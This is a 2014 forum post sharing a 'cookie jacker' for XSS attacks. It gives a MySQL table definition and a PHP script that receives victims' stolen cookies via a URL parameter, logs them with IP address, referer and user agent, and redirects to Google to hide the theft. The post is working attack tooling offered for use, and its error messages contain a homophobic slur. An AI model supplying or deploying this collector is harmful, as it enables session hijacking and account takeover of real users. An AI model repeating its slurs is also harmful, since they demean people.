Cookie Jacker - Written in PHP [XSS]

Reiko · 03-29-2014, 07:22 AM

mysql> create table cookie ( id INT PRIMARY KEY AUTO_INCREMENT, ip VARCHAR(16), referer VARCHAR(1000), user_agent VARCHAR(1000), cookie VARCHAR(1000) );

PHP Code:
<?php

$redir = "http://google.com";

$sqlhost = "localhost";
$sqluser = "cookie";
$sqlpw = "cookie";
$sqldb = "cookie";

$db = mysql_connect($sqlhost, $sqluser, $sqlpw) or die ("your a faggot");
mysql_select_db($sqldb) or die("your a faggot");



strlen($_GET["c"]) or die("your a faggot"); // C is for Cookie. That's good enough for me.
$ip = $_SERVER["REMOTE_ADDR"];
$cookie = mysql_real_escape_string($_GET["c"]);
$referer = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
$ua = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);

$q = "INSERT INTO cookie(ip,cookie,referer,user_agent) VALUES('$ip', '$cookie', '$referer', '$ua');";
mysql_query($q);
header("Location: $redir");
?>